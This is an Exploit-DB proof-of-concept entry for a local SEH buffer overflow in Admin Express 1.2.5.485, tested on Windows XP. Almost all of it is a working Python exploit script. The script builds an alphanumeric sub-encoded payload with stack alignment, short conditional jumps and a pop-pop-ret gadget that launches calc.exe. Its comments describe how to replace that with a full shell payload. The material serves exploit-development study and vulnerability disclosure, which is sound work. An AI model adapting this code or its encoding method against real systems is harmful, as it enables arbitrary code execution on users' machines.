Admin Express 1.2.5.485 – ‘Folder Path’ Local SEH Alphanumeric Encoded Buffer Overflow

  • 作者: Connor McGarr
    日期: 2019-05-07
  • 类别:
    平台:
  • 来源:https://www.exploit-db.com/exploits/46805/
  • # Title: Admin Express v1.2.5.485 'Folder Path' Local SEH Alphanumeric Encoded Buffer Overflow
    # Date: May 6th, 2019
    # Author: Connor McGarr (https://connormcgarr.github.io)
    # Vendor Homepage: https://admin-express.en.softonic.com/
    # Software Link: https://admin-express.en.softonic.com/download
    # Version v1.2.5.485
    # Tested on: Windows XP SP3 EN
    
    # TO RUN:
    # 1. Run python script
    # 2. Copy contents of pwn.txt
    # 3. Open Admin Express
    # 4. Select System Compare
    # 5. Paste contents into the left-hand side Folder Path field
    # 6. Click the scale icon in the middle of the screen, under the Services and Running Processes tabs
    
    
    # This got a bit hairy. We manually encoded our shellcode and had to use the sub method for encoding each line of payload.
    # 05 was a bad character for us, which is an add eax opcode. We could use (in hex) 1-4,6,10-7E. This was an odd character set.
    
    # Can replace with a shell, if you are willing to do the encoding and decoding math Too preoccupied for now, so here is calc.exe
    # You would need to use logical AND plus the sub eax opcodes to get a value on the stack that could jump back to the A buffer, where there is
    # much more room. Then you would need to align the stack with the stack pointer value you need (not 0x012F3F4 as used below) and write to the stack upwards.
    # You should have enough room for all of the logical AND plus sub eax commands to get a full-sized shell payload on the stack.
    
    # calc.exe shellcode:
    # "\x31\xc9\x51\x68"
    # "\x63\x61\x6c\x63"
    # "\x54\xB8\xc7\x93"
    # "\xc2\x77\xff\xd0"
    
    # For zeroing out registers before manual shellcode
    zero = "\x25\x01\x01\x01\x01" # and eax, 0x01010101
    zero += "\x25\x10\x10\x10\x10"# and eax, 0x10101010
    
    # We need to save the current stack pointer before execution of shellcode, due to
    # old stack pointer value needed when executing our payload of calc.exe. This puts the current stack pointer 0x0012DC98 into ECX, to be used later
    restore = "\x54" # push esp; (pushing the current value of ESP, which needs to be restored later, onto the stack)
    restore += "\x59" # pop ecx; (holding the value of old ESP in ECX, to be called later.)
    restore += "\x51" # push ecx; (to get the value on the stack for the mov esp command later)
    
    # Stack alignment
    # Need to make ESP 0x012F3F4. Using sub method to write that value onto the stack.
    # After making ESP 0x012F3F4, it should be the same value as EAX- so we can write up the stack.
    alignment = "\x54" # push esp
    alignment += "\x58" # pop eax; (puts the value of ESP into EAX)
    
    # Write these 3 sub values in normal format, since memory address, not instruction to be executed. You do not have to do
    # it this way, but I do my calculations in normal format to remind me it is a memory address, when doing hex max. For my
    # other operations, I used little endian. If you do all of the calculations in one way, you do not need to flip the sub 
    # math difference results. This is how I keep things straight
    # 384D5555 364D5555 364E5555
    alignment += "\x2d\x38\x4d\x55\x55" # sub eax, 0x384D5555
    alignment += "\x2d\x36\x4d\x55\x55" # sub eax, 0x364D5555
    alignment += "\x2d\x36\x4e\x55\x55" # sub eax, 0x364E5555
    alignment += "\x50" # push eax
    alignment += "\x5c" # pop esp; (puts the value of eax back into esp)
    
    # calc.exe shellcode, via the sub method. Values needed are as followed. Reference the calc.exe shellcode line for line numbers.
    # 1st line = 2C552D14 01552D14 01562E16
    shellcode = zero
    shellcode += "\x2d\x14\x2d\x55\x2c" # sub eax, 0x2C552D14
    shellcode += "\x2d\x14\x2d\x55\x01" # sub eax, 0x01562D14
    shellcode += "\x2d\x16\x2e\x56\x01" # sub eax, 0x01562E16
    shellcode += "\x50" # push eax; (get the value on the stack). We will do this for all remaining steps like this one.
    
    # 2nd line = 24121729 24121739 2414194A
    shellcode += zero
    shellcode += "\x2d\x29\x17\x12\x24" # sub eax, 0x24121729
    shellcode += "\x2d\x39\x17\x12\x24" # sub eax, 0x24121739
    shellcode += "\x2d\x4a\x19\x14\x24" # sub eax, 0x2414194A (was 40 at the end, but a miscalc happened. Changed to 4A)
    shellcode += "\x50" # push eax
    
    # 3rd line = 34313635 34313434 34313434
    shellcode += zero
    shellcode += "\x2d\x35\x36\x31\x34" # sub eax, 0x34313635
    shellcode += "\x2d\x34\x34\x31\x34" # sub eax, 0x34313434
    shellcode += "\x2d\x34\x34\x31\x34" # sub eax, 0x34313434
    shellcode += "\x50" # push eax
    
    # 4th line = 323A1245 323A1245 333A1245
    shellcode += zero
    shellcode += "\x2d\x45\x12\x3a\x32" # sub eax, 0x323A1245
    shellcode += "\x2d\x45\x12\x3a\x32" # sub eax, 0x323A1245
    shellcode += "\x2d\x45\x12\x3a\x33" # sub eax, 0x333A1245
    shellcode += "\x50" # push eax
    
    # We need to restore the old ESP value of 0x0012DC98 to spawn calc.exe. Since it is a syscall,
    # we need the ESP value before execution. We will do this by performing MOV ECX, ESP (remember ECX contains old ESP!).
    # Here are the 3 values: 403F2711 3F3F2711 3F3F2811
    move = zero
    move += "\x2d\x40\x3f\x27\x11" # sub eax, 0x403F2711
    move += "\x2d\x3f\x3f\x27\x11" # sub eax, 0x3F3F2711
    move += "\x2d\x3f\x3f\x28\x11" # sub eax, 0x3F3F2811
    move += "\x50" # push eax
    
    # All together now.
    payload = "\x41" * 4260
    payload += "\x70\x7e\x71\x7e" # JO 126 bytes. If jump fails, default to JNO 126 bytes
    payload += "\x42\x4c\x01\x10" # 0x10014c42 pop pop ret wmiwrap.DLL
    
    # There are 2 NULL (\x00) terminators in our buffer of A's, near our nSEH jump. We are going to jump far away from them
    # so we have enough room for our shellcode and to decode.
    payload += "\x41" * 122 # add padding since we jumped 7e hex bytes (126 bytes) above
    payload += "\x70\x7e\x71\x7e" # JO or JNO another 126 bytes, so shellcode can decode
    payload += "\x41" * 124
    payload += "\x70\x7e\x71\x7e" # JO or JNO another 126 bytes, so shellcode can decode
    payload += "\x41" * 124
    payload += "\x70\x79\x71\x79" # JO or JNO only 121 bytes
    payload += "\x41" * 121 # NOP is in the restricted characters. Using \x41 as a slide into alignment
    payload += restore
    payload += alignment
    payload += shellcode
    payload += move
    payload += "\x43" * (5000-len(payload))
    
    f = open('pwn.txt', 'w')
    f.write(payload)
    f.close()